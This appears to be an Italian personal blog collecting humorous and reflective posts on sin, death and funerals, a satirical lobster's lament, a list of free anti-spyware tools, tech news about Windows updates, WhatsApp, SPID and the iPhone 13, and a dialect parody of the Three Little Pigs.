Slogan.

 

Si pecca in pensieri, parole, opere e omissioni.

Questo e’ cio’ che ti insegnano da bambino, e se non te lo insegnano esplicitamente te lo fanno entrare in testa in maniera subliminale.

E’ una frase ad effetto.. uno slogan, un po’ come: “mi chiamo Virgola, il tuo gattino, mettimi sul telefonino”, “se c’e’ la goccia..e’ Gim”, “e io pagaaaaaaaaaaa”.

In termini strettamente morali, volendo dar credito allo slogan, se penso che qualcuno meriti di morire, tanto vale che glielo dica.

Se penso che meriti di morire, tanto vale che lo uccida.

Se e’ qualcun altro a pensare che qualcuno meriti di morire, ed e’ determinato a mettere in atto il suo pensiero, tanto vale che glielo lasci fare… chi cazzo sono io e sei tu per impedirglielo?

In ogni caso la mia fedina morale ne risulterebbe compromessa in tutte le maniere e il mio rimorso idem con patate.
Ma mi rendo conto che su questioni come questa ci sia gravita’ e gravita’.

Se penso di uccidere qualcuno e’ grave, ma se lo uccido davvero e’ molto grave, a rigor di logica, almeno.

Poi poi ..c’e’ da considerare, pero’, che se uccido qualcuno, e mi beccano, finisco in galera, se provo ad uccidere qualcuno, pur non riuscendoci, e mi beccano, finisco in galera comunque.

Finisco in galera anche se si sparge in giro la voce che intendo uccidere qualcuno.

Certo e’ che se lo penso e basta… ho buone probabilita’ di salvarmi il culo, ma non ne sono del tutto sicuro.
Limitarsi al pensiero ti tiene in qualche modo piu’ al sicuro, ma non fa di te una persona migliore.

E’ una questione dannatamente complicata, fare lo slalom tra fede e sentimento e fatti della vita… ti turba anzi ti maxturba.

La preghiera dell'Astice.

Ehi vacanzieri.. sono l'astice,

puoi vedermi in quella vasca davanti i tuoi occhi al supermercato, al ristorante,

sono stanco, sono depresso

non ho voglia di vivere

passo la mia giornata immobile

le mie chele sono legate

il mio cuore e’ infranto

vorrei piangere ma le mie lacrime non si noterebbero, l’acqua le fa sparire,

vorrei gridare, ma l’acqua non farebbe apprezzare il mio dolore

vorrei morire ora, ma Dio non permette che io lo faccia

vorrei chiedere a Dio perche’ io debba stare qui, ma potrebbe non rispondere

Soffro, soffro tantissimo

perche’ il grave destino mi ha portato qui?

Ogni giorno fermo nella mia posizione mi sveglio, ho passato una notte a sognare di cambiare acqua

quell’acqua che bollendo mi portera’ alla morte

il dolore sara’ tanto

ma mai paragonabile a quello che soffro ora

spero avvenga presto

non ce la faccio piu’ vorrei uccidermi, ma non posso

vi prego compratemi

fatemi finire questo dolore

fate che la mia anima sia di nuovo mia

e non di questa vasca che puzza di pesce marcio al Conad di Casalcoso.

Ora lo Stefano in ferie ci ricorda la partenza del 5 stelle.

 

 

Programmi anti-spyware per proteggere il tuo laptop

 

Ti sei mai chiesto se sei spiato?

È certamente possibile che il tuo vicino o anche il governo ti stiano spiando, ma c’è anche un altro tipo di spionaggio di cui dovresti preoccuparti:

lo spyware.

Lo spyware è un file dannoso che si nasconde sul tuo computer e registra vari tipi di attività.

Lo spyware può rubare le tue informazioni finanziarie, password e persino registrare tutto ciò che digiti sulla tastiera.

Peggio ancora, lo spyware è in genere progettato per essere difficile da trovare, quindi potresti non rendertene nemmeno conto se non stai utilizzando gli strumenti antivirus giusti.

Strumenti gratuiti per la rimozione degli spyware..

1. Panda Free Antivirus (Panda Dome gratuito)

2. Antivirus gratuito AVG

3. SUPERAntiSpyware

4. Adaware Antivirus gratuito

5. Comodo Anti-Malware BOClean

01. Panda Free Antivirus (Panda Dome gratuito)

Come affermato in precedenza, Panda è uno dei migliori programmi antivirus sul mercato con un buon riconoscimento del nome. Ha valutazioni elevate dal laboratorio di test indipendente AV-Comparative, dove ha ricevuto un perfetto 100 sulla sua capacità di rilevare software dannoso. Detto questo, ha ricevuto un 60 percento relativamente scarso quando si trattava di inviare falsi positivi, un’indicazione che il software adotta un approccio più pesante del necessario quando identifica il potenziale malware.

Ecco come Panda Free Antivirus si allinea ai criteri di valutazione:

• Costo: gratuito a vita senza costi nascosti

• Requisiti di iscrizione/download: Nessuno (richiede la creazione di un account opzionale che può essere rifiutato)

• Sistemi operativi supportati: Windows XP – Windows 10, Android 4.0.3+

02. Antivirus gratuito AVG

strumenti gratuiti di rimozione dello spyware avg

Uno dei più grandi nomi nel settore dei software di sicurezza, lo strumento AVG Free Antivirus è disponibile da oltre un decennio e oggi è associato al popolare nome di Avast.

In quel periodo, l’azienda ha aggiunto un gran numero di aggiornamenti e funzionalità, molti dei quali sono bloccati dietro un paywall.

Tuttavia, puoi comunque utilizzare AVG gratuitamente per rimuovere spyware, malware, adware e altri file dannosi.

Ecco come AVG soddisfa i miei criteri:

• Costo: gratuito a vita senza costi nascosti

• Requisiti di iscrizione/download: Nessuno (richiede la creazione di un account opzionale che può essere rifiutato)

• Sistemi operativi supportati: Windows 7 – 10, Mac OSX 10.8 Lion+, Android 2.2+

03. SUPERAntiSpyware

strumenti di rimozione dello spyware superantispyware

È abbastanza chiaro di cosa tratta SUPERAntiSpyware. Questo strumento è stato progettato specificamente per rimuovere malware, con un’enfasi sulle varianti di spyware. Secondo il suo sito Web, SUPERAntiSpyware è progettato per rimuovere malware, spyware, adware, trojan, worm, ransomware, keylogger, hijacker, rootkit e altro.

SUPERAntiSpyware si comporta bene con i criteri dell’elenco:

• Costo: gratuito a vita senza costi nascosti

• Requisiti di iscrizione/download: nessuno

• Sistemi operativi supportati: Windows 8 – Windows 10

04. Adaware Antivirus gratuito

Sebbene non sia uno strumento particolarmente noto, Adaware Antivirus Free è una valida opzione per rimuovere lo spyware.

Adaware fornisce soluzioni antivirus a pagamento, ma il suo strumento gratuito include uno scanner e un dispositivo di rimozione antivirus, protezione del download e protezione antivirus in tempo reale per aiutare a prevenire eventuali infezioni future.

Ecco come Adaware Antivirus Free si confronta con i miei criteri:

• Costo: gratuito a vita senza costi nascosti

• Requisiti di iscrizione/download: Richiede il codice di iscrizione e di attivazione per la versione gratuita

• Sistemi operativi supportati: Windows 7 – Windows 10

05. Comodo Anti-Malware BOClean

Sebbene sia un programma abbastanza semplice senza molte funzionalità aggiuntive, Comodo Free Anti-Malware BOClean offre una buona rimozione dello spyware e una protezione in tempo reale contro ulteriori infezioni.

Il software è anche ben valutato da laboratori di test indipendenti e da altre fonti di revisione del software.

Ecco le statistiche di base sullo strumento anti-malware gratuito di Comodo:

• Costo: gratuito a vita senza costi nascosti

• Requisiti di iscrizione/download: nessuno. Tuttavia, cerca di installare più programmi aggiuntivi, cambiare DNS e altre modifiche alle impostazioni non necessarie

• Sistemi operativi supportati: Windows XP – 7

Conclusioni

Per anni, se volevi il miglior software antivirus, dovevi pagare per una vera protezione.

È vero che qualsiasi software antivirus gratuito mancava di alcune funzionalità fondamentali, come la protezione dalle frodi o il blocco dei collegamenti.

Oggi però le cose sono cambiate profondamente e anche un buon software anti-spyware gratuito ti può proteggere efficacemente.

Aggiornamento in corso.

 

Prendo in esame la mia generazione, quella degli splendidi, si fa per dire overanta avanzati che e’ stata la prima a buttarsi nell’informatica.

Noi come dice il divino, siamo nati col VIC20, il Commodore 64 con lo Spectrum quello dei tasti a sei funzioni, li abbiamo collegati al televisore di casa, li abbiamo programmati in Basic e abbiamo cosi’ contribuito alla crescita di una schiera, diciamo un’orda di informatici.

Ergo, come ci ricambiano questi informatici che noi abbiamo nutrito fin dalla nostra adolescenza?

Odiandoci…

Si’, gli informatici New Generation ci odiano e ci considerano equilibristi, nel senso che stiamo sulle palle ad essi stessi. Volete un esempio?

Bueno..

Una volta, per spegnere il computer bastava schiacciare un tasto, lo stesso dell’accensione.

Era semplice e intuitivo a livello scimmia, come accendere e spegnere la luce.

Poi un bel giorno, qualcuno ha deciso che era troppo elementare e adesso quindi devi cliccare in almeno tre punti, senza contare i messaggi che ti fanno stare in ansia chiedendoti se sei sicuro di chiudere senza salvare il file mcc123vgdffgds20..

Ora a livello di ansieta’ e salivazione zero, ti domandi che minchia sia il mcc123vgdffgds20? Come cazZ0 ha fatto ad entrare?

Se dico di no e poi il desktop potrebbe diventare tutto nero, se dico di si puo’ essere che mi sparo un virus dentro. Boh..dubbio amletico e via con la roulette russa e invocando Sant’Intima di Karinzia clicco sul spegni e chi vedra’ vivra’ o viceserva.

Ma il colmo del sadismo si raggiunge con gli aggiornamenti di Windows..

ti capitano proprio quando hai l’acqua alla gola, magari sei o anche sette in ritardo, hai un treno che parte tra trentacinque minuti, mandi l’ultima mail, quella che non puo’ attendere e poi spegni il tuo portatile, quello che devi portare con te (se si chiama portatile ci sara’ un motivo cazzo) e sullo schermo ti compare un messaggio terroristico…

Aggiornamento di Windows in corso, non spegnere o disconnettere il computer… se lo fai son cazzi tuoi e ti tocchera’ risistemare il tutto o quantomeno andare sul ripristino alla data..

( e’ statisticamente provato che ad ogni aggiornamento io mi trovo con un paio di programmi fuori uso con relativi smoccolamenti ed abbinamenti a nomi di animali con santi o pseudo tali).

Allora continui con un misto di parole imparate al porto di Genova in via dei Pre’ dalle vulvivendole amiche degli scaricatori cassintegrati, prendi il notebook e, senza chiuderlo, lo sistemi sul sedile anteriore dell’auto e gli leghi pure la cintura per non perdere i punti di patente, come fosse un bambino.

Mentre vai verso la stazione, a ogni semaforo controlli lo stato di avanzamento ..Aggiornamento in corso 7 di 34… Quando arrivi nel parcheggio della Stazione sei a quota 12 su 34 e alla partenza del treno mancano 7 minuti.

Valigetta 24 ore e 6 minuti in una mano e computer nell’altra, corri verso il binario …

Aggiornamento in corso 13 di 34.

Salti in vettura mentre le porte si chiudono affettandoti una parte di zona dove normalmente non batte il sole… Aggiornamento in corso 16 di 34 non spegnere o son sempre cazzi tuoi.

E tu che avevi contato sul tragitto ferroviario per finire la presentazione Power Point che dovevi mostrare appena arrivato a destinazione fai retromarcia continuando lo smoccolamento di cui sopra..

A meta’ percorso trenistico freccia argento, la belva dice che sei 20 su 34 e non godi selvaggiamente ma resisti per vincere sino a quando stai gia’ arrivando e sei ancora a 26 su 34.

Ormai hai finito l’elenco degli animali e i santi del calendario di padre Terenzio di Canicatti’ e quasi rassegnato hai una botta di culo perche’ salta al 32 su 34.

Ecco la stazione pfuiiii.. finalmente l’aggiornamento e’ finito.. ecco che si riavvia il sistema e compare sul monitor il solito conteggio di avvio che ti prega di attendere, tipo quello che precede l’autodistruzione, quando lo schermo e’ di nuovo tutto acceso, in basso a destra whick which e si apre una finestrella …

Batteria in esaurimento, spegnere il computer per non perdere i dati… Grrrrrrrrrr

e li’ capisci che gli Informatici New Generation Billgatiani ti odiano… almeno quanto tu odi loro.

Aggiornamento WhatsApp in arrivo.

 

Dovrebbe mancare davvero poco all’arrivo sulla scena di un interessante aggiornamento WhatsApp per il pubblico iPhone e Android.

WhatsApp sta lavorando a una nuova funzionalità chiamata “reazioni ai messaggi“.

La funzionalità in sé non è nuova in quanto è disponibile anche su app di messaggistica popolari come Messenger, iMessage, Twitter e Instagram DM. WhatsApp sta ora testando questa funzionalità che è ancora nelle sue prime fasi di sviluppo.

Le reazioni ai messaggi su WhatsApp dovrebbero funzionare in modo simile ad altre app come Messenger e Twitter.

Quanto manca all’arrivo dell’aggiornamento WhatsApp con le reazioni ai messaggi

Puoi reagire a un messaggio con le emoji e quelle solitamente disponibili sono cuore, risata, rabbia, sorriso, mi piace o non mi piace.

Non sappiamo come saranno le reazioni ai messaggi su WhatsApp, ma WABetaInfo ha confermato che la funzione è in fase di test.

Uno screenshot fornito dal blog ha mostrato un messaggio che recita: “Hai ricevuto una reazione. Aggiorna la tua versione di WhatsApp per vedere le reazioni”.

Questo messaggio viene mostrato quando l’utente non ha quella particolare funzione sulla sua versione di WhatsApp. Ciò conferma che WhatsApp sta testando le reazioni ai messaggi e molto probabilmente ne vedremo di più nelle prossime settimane.

Si prevede inoltre che raggiungerà presto gli utenti beta di WhatsApp, come abbiamo visto con la maggior parte delle funzionalità in arrivo.

Difficile prevedere le tempistiche di arrivo dell’aggiornamento WhatsApp con le reazioni ai messaggi. Di solito, tra la prima apparizione in beta ed il rilascio ufficiale trascorre non meno di un mese.

SPID al supermercato: al via servizio gratuito Coop

Da Settembre il Codice Pin per entrare in INPS non sarà più valido e potrete entrare solo con l'Identità Digitale ovvero la SPID e quindi potrete attivarla andando in Posta oppure anche presso i supermercati Coop.

La sperimentazione è partita presso nei punti vendita di Firenze, ma a breve il servizio sarà esteso a tutti i punti vendita dell’intero territorio nazionale.

Il servizio SPID erogato da Coop si appoggia all’identity provider Namirial.

Come si attiva SPID con Coop?

Basta cercare online il punto vendita di proprio interesse (alla pagina www.e-coop.it/negozi-spid), seleziona dalla mappa il supermercato abilitato alla richiesta di SPID e poi cliccare su “Richiedi SPID in questo negozio”.

La procedura di avvia online e si conclude fisicamente presso il punto vendita selezionato, che sarà quello in cui ci si deve recare per l’autenticazione e l’attivazione dell’identità digitale.

Con una procedura guidata si forniscono i propri dati e contatti (servono codice fiscale, tessera sanitaria e un documento di riconoscimento italiano in corso di validità). Dopo la registrazione sul portale, si riceve una mail di riepilogo con le informazioni e i documenti da portare al punto vendita prescelto per richiedere lo SPID.

 

i tre purscei piscinin

 

Versiün leghista. l’altra a l’e’ cancela’e va da via el chü…

A ghera una volta tri purscei che giugavan en del bush e ghignavan, i giugavan e cantavan tut el di’ come tri pirla perche’ gavevan nagott de fa..cume la mia mie’.

Chesti chi’ eran fanatic del fa.da per.ti, i legevan tutt i rivist de la zona e se divertivan a fa di laurett cui material che cumpravan al BricoCenter cul scünt del settanta per cent.

Sti purschei che eran nasu’ en venet “fatuttdasul” in arriva’ al punt de es talment brav da pude’ a fas la ca con i propri man e han fa una ca’ piscinina perün con di caratteristic dal bün original.

El prim purscel pirla el se fa’ una capana di palta e fien ciapa’ en del fiüm dopo la piena causa’ dalla nev pruvidensial, ciapa’ come müdel i capann di Masai negher che avevan lüma’ a la television, a l’era da bün fregia d’esta’ e calda all’invern e tiepida a la primavera.

El secund purscel a l’ha ciapa’ come müdel el clasic chalet de muntagna de legn con di sass sul tec el caminett rustic e i fiur che spussavan al davanzal,

El ters purscel a l’era un po’ püsse custruttur e a l’ha pensa’ de fala en cement cui toc premünta’ antiterremot con una tegnüda bona e panei sular cui cess che se nettavan daperlür.

A la fin eran tuc cuntent sti purscei del casso, del lür laüra’ e alüra in anda’ ognun nella propria ca’ nova.

A lasü perd la parola "purcilai" che l’e’ minga giusta..te capi?

Alura vu’ inanz ..un bel di’ a l’e’ passa da li un cagnasc tedesc che nuialter ciameren el lü impesta’ anzi el lü cativ, che l’ha vist i tre purscei pisciniti che giücavan en del pra’ come tri pirla.

Durant chel temp el lü cativ impesta’ e bastard, ma propri un bastard cume el carlettu, el faseva una dieta dura bilancia’ alla bas de verdura piscinina dell’ort e risott cui cudig.. ansi no aspetta.. in bianc, a l’era per quel sempre incasa’ e ghe giravan semper i cuiuni e el püdeva no vide’ la gent sciura e pansciona cun l’aria da cüiun o pistola südisfa’.

El ghe vegnü una smania tipu voia de ciula’ e el se büta’ ados ai purscei, c’an fa appena in temp a scapa’ ne la lür abitasiun, ognun ne la propria neh, e sin sera’ denter
sensa menass el pistulin.

Tralasu le cassade scritte süra e saltu al lü cativ impesta’ che a l’ha ataca’ la prima ca’ del por purscel piscinin.

El lü cativ a la prima ca de paja, al ghe basta’ fa’ un a ispirasiun e una büfada, e datu che a l’ha mangia’ una minestra piena de aj, scigule peverun, come la banfada la culpi’ la ca’ e la se sübit sciolta come la nev al sül e el por purschel a l’ha fa in temp a scapa’ nella secunda ca’ dell’alter purscel pistola.

El lü cativ che l’era propi incasa’ cun un’altra banfada a l’ha sbatü gio’ la secunda e i dü purscei a in scapa’ dal terz purscel, el sciür con la ca’ bela e sicume vurevan no passa’ di guai han telefuna’ al WWF e anca alla prutesün animai da scureggia, per fa’ la telefünada han ciapa’ el celülar perche’ vürevan no paga’ la tangent alla Telecom, e insomma han utegnü un’urdinansa che la vietava al lü impesta de duvra’ sta aria sia davanti che da dre’.

El lü impesta che l’era minga un pirla dopu che l’han blüca’ anca lü el lü (che casin) el gaveva di amis in municipi, cumpagn de ciulade e merende che laüravan all’urbanistica.

Pasa’ pochi di’ el lü a l’e’ turna con un pare de pirla che han sbatü gio' la ca’ ai por purscei pisciniti con la mutivaziün che avevan ocupa’ abusivament el territori che l’era public dato che el terün dipietro a l’aveva fa una lege postuma a favür de chi el gaveva i dane’.

E mentre che i operari sbatevan gio’ la ca’ cui trattür, el lü a la fa’ che slabrass i tre purscei e la storia a l’e’ finida.

La müral: Se te manget duma’ la verdura te diventeret cativ come el carlettu e se te investet i danee’ in di ca’ tel ciapet en del chü ste trovet el pretür terün e bastard cume el lü.

Strincia la foja larga la via, cheschi’ a l’e’ el racünt e insci’ el sia.

Laudato si o mi Signore

 

l'estro della famiglia fumagalli non ha confini e dopo le creazioni di EnricoLegno eccovi quelle di Maurizio

I phone 13 in arrivo?

Non manca molto all’uscita dell’iPhone 13, a quanto pare. Il device potrebbe fare il suo debutto prima di quanto si pensi. Non abbiamo ancora sentito alcuna parola ufficiale da Apple, ma le voci dicono che potremmo vedere l’iPhone 13 a settembre per l’ evento autunnale del gigante tecnologico insieme ad Apple Watch 7 e AirPods 3.

Cosa sappiamo sull’uscita dell’iPhone 13

Simile all’annuncio dell’iPhone 12 dell’anno scorso, l’evento iPhone 13 potrebbe essere solo online. Mark Gurman di Bloomberg ha ipotizzato nella sua newsletter Power On a luglio che il prossimo evento di Apple sarà completamente virtuale, a causa della presunta decisione del gigante della tecnologia di ritardare il suo ritorno al lavoro di persona a causa dell’aumento dei casi di COVID-19.

Inizialmente Apple aveva affermato che tutti i dipendenti sarebbero stati tenuti a entrare in ufficio tre giorni alla settimana a partire da settembre. Gurman afferma che se Apple si fosse fermata con il periodo di settembre, un evento iPhone 13 di persona sarebbe stato “plausibile”. Ora si aspetta un altro evento solo online. Sebbene l’evento possa essere tutto virtuale, ci aspettiamo di vedere quattro versioni del nuovo telefono: iPhone 13, iPhone 13 Mini, iPhone 13 Pro e iPhone 13 Pro Max, secondo l’analista Ming-Chi Kuo.

Il primo evento Apple del 2021 è avvenuto ad aprile, dove abbiamo visto nuovi iPad, iMac colorati, un iPhone 12 viola e tracker AirTags. Poi è arrivato il WWDC a giugno, dove abbiamo intravisto per la prima volta iOS 15 . E non c’era nessuna parola da Apple sull’iPhone 13 in entrambi gli eventi.

Ma nessuno si aspettava che l’iPhone 13 fosse annunciato così presto. Quindi, quando possiamo aspettarci che Apple sveli i suoi prossimi telefoni di punta? Apple non ha ancora accennato alla data dell’evento iPhone 13. Sulla base della storia di Apple, tuttavia, in genere possiamo prevedere quando si verificheranno gli eventi dell’iPhone dell’azienda e fare un’ipotesi plausibile su una data di rilascio basata su quella.

Mentre la pandemia ha cambiato il solito corso per il 2020, segnando il primo evento Apple di settembre in otto anni senza iPhone a causa di ritardi nella produzione, Kuo prevede che il 2021 vedrà un ritorno alla cadenza tipica dell’azienda. Staremo a vedere se verranno rispettate le attese con l’uscita dell’iPhone 13.

 

IGMK in zona gamma...

 

RIPOSTO uno scritto che feci nel 2008 dopo una visita fatta per cambio medico che volle controllare le mie condizioni non esterne ma interne del fisico, considerato che nella mia cartella non ci stava traccia di analisi e varie da parecchio tempo e non consono da chi di lustri ne ha visti passare 13.

Ebbene dall’esame del sangue era emerso un valore anomalo.. non la faccio lunga ma sapete come e’ andata a finire?

Io vi sto’ scrivendo ancora oggi a circa 16 lustri anagrafici e da allora non ho piu’ visto medici (a parte il vaccino per antiCovid) ne fatto visite per la serie, occhio non vede cuore non duole e metto questo post per chi facendo visite riscontra valori anomali che possono cambiargli la vita..

meditate gente ..meditate..

il vostro carlo alias togotuentinain.

Igmk con percentuale (xxx) in zona Gamma..

Appena leggi queste cose dalle analisi del sangue rimani perplesso e poi pensi alla sopravvivenza del corpus.

Ma diciamocelo francamente.. la cosa piu’ bella, almeno in prima approssimazione, e’ l’immortalita’ classica, con resurrezione del corpo e tutto il resto e apro un capitolo di psicologia innata da non confondersi con psichiatria in quanto non uso psicofarmaci e quindi non necessito di interventi sanitari per psicopatologie varie, ma non approfondisco altrimenti mi sconfesso.

Ma, per l’appunto questa classica, e’ una immortalita’ che non riesce a essere sostenuta da nessuno, nemmeno da molti di coloro che dovrebbero sostenerla.

C’e’ una alternativa?

Forse si’ e ve la offro alla mia maniera per ripagarvi dalla lettura di questo post sempreche’ riusciate a seguire il ragionamento non per deficienza comprensiva ma per tired of reading.
Allora ..dato che sono allegro, pensiamo, per un momento, a quello che si chiama per l’appunto l’ultimo momento, l’ultimo istante prima della morte.

E’ un momento impegnativo e unico, in cui si possono prendere decisioni importanti.

Come dice il prete al morituro…Pentiti, figliolo stai per tirare le cuoia sei all’ultimo momento.

Il momento in cui, nella tradizione, si cercano per l’appunto dei pentimenti in extremis, e qui si possono ottenere delle risposte varie, dal No secco di Giovanni quando ha rifiutato il segno della bestia, alla bellissima risposta di Voltaire al prete che voleva confessarlo e benedirlo ..No grazie, non e’ il momento di farsi nuovi amici …

Bene, quell’istante e’ davvero apocalittico, proprio nel senso dell’Apocalisse il libro della rivelazione insomma di Giovanni ….Un angelo levo’ la mano destra verso il cielo, e giuro’, per colui che vive nei secoli dei secoli e creo’ il cielo che non ci sara’ piu’ il tempo….

Commenta con tranquilla ironia Kant in.. La fine di tutte le cose…(recuperato nel diciannovesimo paragrafo dell’enciclica Spe Salvi dell’attuale Papa Ratzinger e non inventato da me).

Se non si suppone che quest’angelo abbia voluto gridare qualcosa di assurdo, egli deve aver inteso che d’ora in poi non ci sara’ piu’ alcun mutamento…non e’ male la cosa e’ un bel traguardo.

Quell’istante che non ha un seguito perche’ e’ l’ultimo, resta li’, per un istante (l’istante della nostra morte) e per sempre, per noi. Noi ce ne andiamo, e nel nostro andarcene sparisce tutto il nostro mondo.

Tuttavia l’ultima immagine, effimera ed eterna, rimane, come in una scatola nera masterizzata sul CD della vita. Il futuro si ferma, e quell’istante resta li’, per sempre, di fronte a noi, senza muoversi piu’, effimero perche’ oggettivamente e’ solo ed unicamente un istante, si’, ma anche eterno perche’ soggettivamente.. moriamo, e non ci sara’ altro tempo.

Fila il discorso vero?..oggi sono allegro e godo come un falco..

cambiamo argomento dai..quanto costa una cassa da morto? 

In attesa della risposta godetevi una vecchia striscia di Stefano sul Francesco e perdonate lo spagnolo italianizzante...

 

Compgnia dei Defunti 2.

 

Sembra ieri quando il Carletto amico Borgarese scalava l’Everest a 8.848 mt e oggi giace a meno 2mt in un’urna funeraria.. il suo desiderio era di bruciare sulla terra prima di bruciare nell’aldila’.

Ad onor del falso per quel che conosco non avrebbe voluto nemmeno il classico funerale ed e’ per quello che non ho presenziato al saluto finale.

A tal proposito mi sorgono dei pensieri e dovendo descrivere il funerale ideale, lo sognerei senza dolore e senza addolorati, addolorandi e senza funerale.. odio presenziare ai funerali e in specialmodo.. al mio.

Converrebbe lasciare una traccia di allegria come ricordo.. cosi’ potente da controbilanciare l’assenza nel caso si sentisse.

Un segno di leggerezza da consumare anche postumo..

Il funerale deserto andrebbe proprio bene.

Non sono fra quelli che piagnucolano…ricordati di me… Dimenticati di me, piuttosto, ma, soprattutto non soffrire.

Mi farebbe piu’ male del morire.

Ma come cazzo si fa? O muori cosi’ vecchio, ma cosi’ vecchio che le persone che ami o dovresti amare si sentirebbero iperstufate dal vederti ancora li’ stipendiato dall’INPS o INPDAP o peggio ancora nella situazione Forneriana di esodato dopo aver sgobbato un quit di anni.

Insomma, ne avrebbero avuto piu’ che a sufficienza dal trovarti sempre tra le palle.

Oppure, sempre nel desiderio di non lasciare dolore dietro di se’, tramutarsi, se non lo si e’ gia’, in un essere detestabile e malvagio e iperscassacazzi.

Cosi’ perfido da far tirare un sospiro di sollievo a chi resta.

E poi hai voglia che l’uomo continui a concedere alla morte la di lei capricciosa, ostinata supremazia…e’ piu’ dolorosa l’attesa dell’arrivo per la serie..meglio mai che tardi insomma..
E che magnifichi se stessa in consessi preficanti dall’organizzazione paramilitaresca.

Se proprio fosse necessario, lascerei sfilare dietro il feretro i volontari dell’addio a tutti i costi.

Il ricordo del beneamato dovrebbe essere sparpagliato il piu’ possibile e senza le dimensioni strette e obbligatorie di una cerimonia con corteo semiordinato. Incrocio di sguardi interrogativi e rumorino di suole che strascicano ghiaietta e pensieri a caso.

Ma la convenzione vuole che alla morte si debba rispetto e al morto onore e saluti.

Cosi’, oggi, appare molto sconveniente una preghiera funebre univocale del celebrante.

Si e’ stabilito che sia sempre preferibile un rito con ondulazione corale, abbastanza nera.

Un rito composto, religioso comunque.

La parola deve essere multipla. Le strampalate regole tramandate della pietas sembrano avvertirci che il de cuius, solo dopo la morte, non debba essere solo per la serie..tutti insieme a salutare il rompiballe che si e’ levato dai coglioni e ci permettera’ di fare le ferie senza complessi di colpa dell’abbandono o peggio ancora senza interrompere le ferie per tornare a salutare il pirla rimbambito che pur di stracciarci i pendenti ha deciso di andarsene mentre eravamo a Casalcoso.

Strana pietas.

Da morto, dicevo, qualcuno deve pure piangerlo.

Vanno bene legionari smaniosi di macabri eroismi cosi’ come prezzolati professionisti del piagnisteo o le famose piagnimuerto nordafricane Baresi.

Ora arrivo al titolo del post che ho ripreso da un mio oldpost ficcandoci un 2 e non il classico ..ritorno.. ricordando che dal 2010 Don Marcello Colcelli, sacerdote di Sant’Egidio all’Orciolaia, parrocchia Aretina con quattromila anime , ha costituito la ..compagnia dei defunti… dove uomini e donne suppliscono alla carenza di personale, nel caso non ci fosse alcuno a soffrire attorno al caro estinto.

Il vantaggio della solitudine non deve essere concesso mai. Allegro oggi, vero? Colpa dell'anteprima del 15 agosto.. Vabbuo’.. cambio argomento..quanto costa una cassa da morto per chi si fa cremare?..

Meglio il kit dall’Olanda..61€ o un tuffo al Buco del Piombo.. Ad Majora…

 

Vi faccio un Test.

 

(psicologicamente cosa ti ricorda sto albero?)

Osservazioni test

Positivo: Fai a tua figlia il discorso delle api e dei fiorellini.

Negativo: Continua ad interromperti.

Molto negativo: Con correzioni.

Positivo: Tua figlia trova subito lavoro dopo la laurea.

Negativo: Come prostituta.

Molto negativo: Ha diversi clienti tra i tuoi colleghi.

Troppo negativo: Guadagna piu’ di te.

Positivo: Tuo figlio studia un sacco chiuso in camera sua.

Negativo: Trovi parecchi film porno nascosti nella sua stanza.

Molto negativo: Sei in alcuni di questi.

Positivo: Tuo figlio sta maturando.

Negativo: Ha una storia con la signora della porta accanto.

Molto negativo: Anche tu.

Positivo: Tua moglie non ti parla.

Negativo: Vuole il divorzio.

Molto negativo: E’ avvocato.

Positivo: Tua moglie e’ incinta.

Negativo: Sono tre gemelli.

Molto negativo: Hai fatto la vasectomia tre anni fa.

Aneddoto per alleggerire e ritorno con la memoria nell’Eden..

Adamo e’ li’ nel paradiso terrestre, ma sente che gli manca qualcosa a cui non riesce a dare un nome.

Pero’ gli viene in mente un colore, un rosa pallido …

Dio se ne accorge e crea la donna.

E pecca di presunzione, perche’ Adamo voleva solo la Gazzetta dello Sport..

 

My friend Elio.

 

Il mio amico Elio era sempre un passo avanti rispetto agli altri, infatti camminava sempre da solo e la Maria lo seguiva (per modo di dire) a due passi dal mare (noto ristorante che castiga i clienti del Nadia e gli sommeiller annusano il tappo di plastica del vino dannata esposto al sole su ripiani di legno pressato).
Era un tipo che vedeva lontano, girava con il binocolo comprato a suo tempo anteCovid dai cinesini sulla spiaggia di Casalbrodino.
Lo conosco da una vita, quante ne abbiamo passate insieme io e lui, alcune di pomodoro altre di verdure varie ed alcune ..passa da qui che la accorci..
Abbiamo frequentato le alte scuole del Sestriere, all'asilo non eravamo mai in classe, si faceva lezione all'aperto.

Poi oltre al tetto crollo’ anche la struttura intera e ciau Peppina.
Esso frequento’ poco la scuola, alcuni lo conoscevano solo per via della sua foto segnaletica appesa al recinto d’ingresso.
Crescendo, Elio monodente, sentiva che gli abiti che portava gli andavano stretti, lo limitavano anche perche’ era magro come un chiodo del novanta tipo quello con cui mi son eliminato il neo.

Fu allora che Pasquale (suo babbo figlio di Natalino) decise di togliergli il vestito della prima “comunione dei beni”.
Con le ragazze non ha mai avuto un rapporto soddisfacente, solo sveltine con vaffanculo compreso.

Ad onor del falso, con Mariaelena vien dal mare ando’ fino in fondo... poi apri’ la porta dell'ascensore e se ne ando’.
Elio era un originale, diffidava delle imitazioni e si credeva una mosca bianca.

Cinque anni di tera..Pia..nosa non lo avevano aiutato.
Ora purtroppo non e’ piu’ fra noi, se ne e' andato 10 minuti fa.(perche' prende il bus di Casalcoso dopo aver lasciato sedie e ombrellone nel sottoscala del palazzotto antistante le docce calde).

Lui lo sapeva gia’ che sarebbe finita cosi’, si era preparato salutando tutti col classico “a dopo”… adesso torno in terapia grappagenzianosa e mi meraviglio che abbiate letto sino in fondo sto scritto deme e nziale..

De gustibus e De gustitram..

anzi ora me ne vo’ al mare per la classica nuotata allo scoglione e non faccio per vantarmi ma oggi est una magnifica giornata.

 

(oppss..come non detto e diciamo che lo era quindi non e' est ma ovest). 

Vi lascio con la tesi sul Covid della neo dotto, ressa Elisa la negazionista

 

El Condor Pasa " If I Could " | Guitar and Pan Flute Best Version ( Live )

"APACHE" (Guitar instrumental)

The Cock is Dead

Luce mia...

 

Lo so che non mi potrai ascoltare,

ma non importa lo dico ugualmente.

Cio’ che voglio dire non e’ nulla di personale

e’ solo questo cielo… guarda che bello

e’ lo stesso cielo di ieri, e di ieri ancora

e’ lo stesso da anni ormai, da decenni…millenni

ma, dico… ne hai mai visto uno piu’ bello?

E pensare che milioni e milioni di stelle che ora vedi

possono essersi ormai gia’ spente

ma nel cielo che io vedo, sono ancora li’

e’ la loro luce, capisci? Continua a farsi vedere.

Si, il passato… il cielo e’ uno specchio del passato

prova a pensare…

Non e’ magnifico? non e’ qualche cosa di sensazionale?

Cosi’ grande, cosi’ speciale…

per un cielo cosi’ vale veramente la pena di morire.

Stella mia… continua a brillare.

(Era il lampione ..ma vai a cagare!!!)

Bicicletta.

 

